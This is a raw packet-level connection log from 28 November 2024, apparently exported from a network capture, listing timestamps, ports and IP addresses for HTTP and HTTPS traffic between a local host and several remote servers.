Nov 28, 2024 08:56:00.648116112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:00.657504082 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.657524109 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.657591105 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.657605886 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.657649994 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.692176104 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.692198992 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.692253113 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.692261934 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.692301035 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.692318916 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.700977087 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.700997114 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.701067924 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.701091051 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.701206923 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.702512980 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:00.702549934 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:00.702621937 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:00.702879906 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:00.702893019 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:00.704649925 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.704730988 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.715382099 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.715485096 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.728697062 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.728724003 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.728776932 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.728784084 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.728827000 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.728837013 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.737782955 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.737798929 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.737854004 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.737874031 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.737916946 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.748030901 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.748055935 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.748112917 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.748137951 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.748155117 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.748177052 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.765744925 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.765814066 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.767996073 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:00.786794901 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.786820889 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.786889076 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.786915064 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.786938906 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.786958933 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.799751043 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.799768925 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.799837112 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.799864054 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.799913883 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.812338114 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.812417984 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.812423944 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.812473059 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.846357107 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.846378088 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.846448898 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.846486092 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.846506119 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.847589016 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.865767956 CET	49835	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.865792990 CET	443	49835	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.867472887 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.867501974 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.867548943 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.867558956 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.867590904 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.867604017 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.873779058 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.873841047 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.873846054 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.873886108 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.873931885 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.875566959 CET	49834	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.875579119 CET	443	49834	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.928237915 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.928316116 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.945239067 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.945266008 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.945319891 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.945348024 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.945383072 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.959906101 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.959930897 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.959973097 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.960000992 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.960014105 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.960046053 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.969482899 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.969552040 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.980921984 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.980938911 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.980998039 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.981014013 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.981069088 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.984363079 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.984419107 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.984426975 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.984448910 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:00.984467983 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.984502077 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.984622955 CET	49836	443	192.168.2.8	23.44.129.36
Nov 28, 2024 08:56:00.984642029 CET	443	49836	23.44.129.36	192.168.2.8
Nov 28, 2024 08:56:01.106523991 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:56:01.106584072 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:56:01.110548973 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:01.230504990 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:01.230572939 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:01.232322931 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:01.261151075 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.261185884 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:01.261464119 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.261715889 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.261732101 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:01.264517069 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.264554024 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:01.264636040 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.265104055 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.265117884 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:01.352282047 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:01.402791023 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:56:01.402865887 CET	443	49784	172.64.41.3	192.168.2.8
Nov 28, 2024 08:56:01.402925014 CET	49784	443	192.168.2.8	172.64.41.3
Nov 28, 2024 08:56:01.831561089 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.831608057 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:01.831918955 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.832187891 CET	49842	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:01.832204103 CET	443	49842	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:01.855813980 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:01.855885983 CET	443	49786	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:01.857383966 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:01.857474089 CET	443	49785	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:01.857554913 CET	49786	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:01.857554913 CET	49785	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:02.205468893 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.240350008 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.240366936 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.240919113 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.243355989 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.243434906 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.249423027 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.249423981 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.249463081 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.549973011 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.550381899 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.550399065 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.550753117 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.551605940 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.551605940 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.551620007 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.551632881 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.551666021 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.601002932 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.612571955 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.612622023 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.612656116 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.612721920 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.613229990 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.613298893 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.613343000 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.613400936 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.614226103 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.614269972 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.614303112 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.614314079 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.614336967 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.614391088 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.614792109 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.614854097 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.614931107 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.615067005 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.661240101 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:02.661298037 CET	443	49773	162.159.61.3	192.168.2.8
Nov 28, 2024 08:56:02.661340952 CET	49773	443	192.168.2.8	162.159.61.3
Nov 28, 2024 08:56:02.732814074 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.732882977 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.732919931 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.732964993 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.736912012 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.736959934 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.738681078 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.738749027 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.738756895 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.738801956 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.739023924 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.739121914 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.739173889 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.739893913 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.739893913 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.739918947 CET	443	49837	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:02.739968061 CET	49837	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:02.814682007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.814764977 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.814774990 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.814817905 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.818911076 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.818963051 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.818983078 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.819025040 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.827354908 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.827418089 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.827449083 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.827508926 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.835949898 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.835994959 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.836013079 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.836051941 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.844139099 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.844213963 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.844219923 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.844261885 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.852459908 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.852513075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.852576971 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.852626085 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.860814095 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.860868931 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.860903978 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.860949039 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.869488001 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.869544983 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.869637012 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.869685888 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.877631903 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.877690077 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.877763987 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.877805948 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.885371923 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.885437965 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.885462046 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.885509968 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.892926931 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.893006086 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.979908943 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.979988098 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.980003119 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.980040073 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:02.983639956 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:02.983716011 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.015950918 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.016021013 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.016083956 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.016129971 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.018352032 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.018410921 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.018452883 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.018495083 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.023183107 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.023256063 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.023263931 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.023309946 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.023838997 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.023927927 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.023978949 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.024529934 CET	49838	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.024549007 CET	443	49838	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.027976036 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.028054953 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.028132915 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.028178930 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.032823086 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.032886982 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.032907009 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.032962084 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.037550926 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.037607908 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.037682056 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.037725925 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.042330027 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.042391062 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.042526007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.042576075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.047157049 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.047202110 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.047245979 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.047300100 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.051870108 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.051944017 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.051944017 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.051985979 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.055015087 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.055479050 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.055496931 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.056621075 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.056660891 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.056684971 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.056727886 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.056781054 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.056823015 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.057040930 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.057112932 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.057254076 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.057262897 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.057303905 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.057347059 CET	443	49841	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.061388016 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.061449051 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.061527967 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.061568975 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.066581964 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.066626072 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.066648960 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.066667080 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.070974112 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.071038008 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.071101904 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.071145058 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.075825930 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.075886011 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.075897932 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.075942039 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.080558062 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.080627918 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.080646038 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.080693960 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.085324049 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.085380077 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.085462093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.085519075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.090122938 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.090195894 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.090231895 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.090276957 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.094959974 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.095027924 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.095046997 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.095113993 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.097522974 CET	49841	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.099731922 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.099786997 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.099822998 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.099865913 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.104485989 CET	80	49839	185.215.113.16	192.168.2.8
